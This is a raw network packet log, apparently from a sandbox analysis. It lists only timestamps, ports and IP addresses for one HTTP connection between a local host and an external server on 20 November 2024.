Nov 20, 2024 07:48:19.952883005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952915907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952923059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952967882 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952972889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953006029 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953020096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953038931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953068972 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953078985 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953103065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953110933 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953135967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953145981 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953170061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953175068 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953202009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953210115 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953238010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953254938 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953267097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953274965 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953299046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953308105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953331947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953363895 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953372955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953372955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953398943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953403950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953432083 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953438997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953465939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953478098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953499079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953512907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953532934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953541994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953566074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953577042 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953607082 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953612089 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953634977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953650951 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953672886 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.953866005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.953917027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.954020977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.954056978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.954063892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.954098940 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.954216003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.954268932 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.954365015 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.954402924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.954413891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.954443932 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.955060005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.955192089 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.955404043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.955437899 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.955463886 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.955483913 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.956265926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.956315994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.956425905 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.956460953 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.956474066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.956506968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957432985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957462072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957475901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957494974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957501888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957535982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957547903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957577944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957592010 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957612038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957631111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957659960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957663059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957701921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957710981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957746029 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957777023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957787991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957817078 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957829952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957865000 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957876921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957901001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957906961 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957933903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957937956 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957968950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.957983971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.957998991 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958024979 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958046913 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958048105 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958084106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958095074 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958117008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958127022 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958151102 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958156109 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958183050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958218098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958219051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958235025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958247900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958261967 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958281040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958313942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958318949 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958348036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958380938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958388090 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958414078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958424091 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958446026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958463907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958476067 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958483934 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958508968 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958543062 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958549976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958575010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958580971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958606958 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958609104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958641052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958646059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958674908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958679914 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958708048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958719969 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958741903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958750963 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958775043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958807945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958810091 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958828926 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958837032 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958849907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958882093 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958915949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958930969 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958947897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958956003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.958981991 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.958992004 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959012985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959026098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959047079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959057093 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959079981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959090948 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959111929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959120035 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959146023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959150076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959180117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959186077 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959212065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959220886 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959244967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959250927 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959279060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959286928 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959333897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959367037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959383965 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959400892 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959414959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959434032 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959453106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959467888 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959474087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959501028 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959507942 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959537983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959546089 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959569931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959575891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959605932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959618092 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959639072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959641933 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959673882 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959691048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.959702969 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.959750891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001202106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001244068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001267910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001305103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001305103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001348019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001357079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001390934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001396894 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001424074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001430988 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001468897 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001476049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001521111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001527071 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001560926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001566887 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001600027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001607895 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001632929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001657963 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001667976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001672029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001702070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001709938 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001734972 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001744986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001769066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001777887 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001802921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001808882 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001837015 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001843929 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001868963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001878977 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001903057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001915932 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001935959 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001948118 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.001972914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.001981020 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.002017975 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.040976048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041033983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041069984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041102886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041104078 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041142941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041153908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041197062 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041234970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041237116 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041265011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041275024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041296959 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041310072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041332006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041338921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041371107 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041384935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041419983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041424036 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041452885 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041475058 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041512966 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041527033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041573048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041591883 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041625023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041655064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041683912 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041699886 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041706085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041745901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041758060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041790962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041806936 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041825056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041829109 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041865110 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041871071 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041887045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041901112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041908026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041918039 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041919947 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041930914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041937113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041945934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041951895 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041965961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041969061 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041980982 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.041985989 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.041996002 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042004108 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042010069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042018890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042026043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042033911 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042041063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042052031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042057037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042068958 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042082071 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042083979 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042098045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042100906 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042113066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042119980 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042129040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042135000 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042143106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042151928 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042156935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042167902 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042171001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042182922 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042186975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042198896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042203903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042216063 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042218924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042229891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042234898 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042244911 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042251110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042259932 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042267084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042278051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042293072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042305946 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042308092 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042387009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042401075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042428017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042453051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042498112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042521954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042536020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042550087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042566061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042567015 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042582035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.042587042 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.042599916 CET	80	49753	62.204.41.163	192.168.2.4
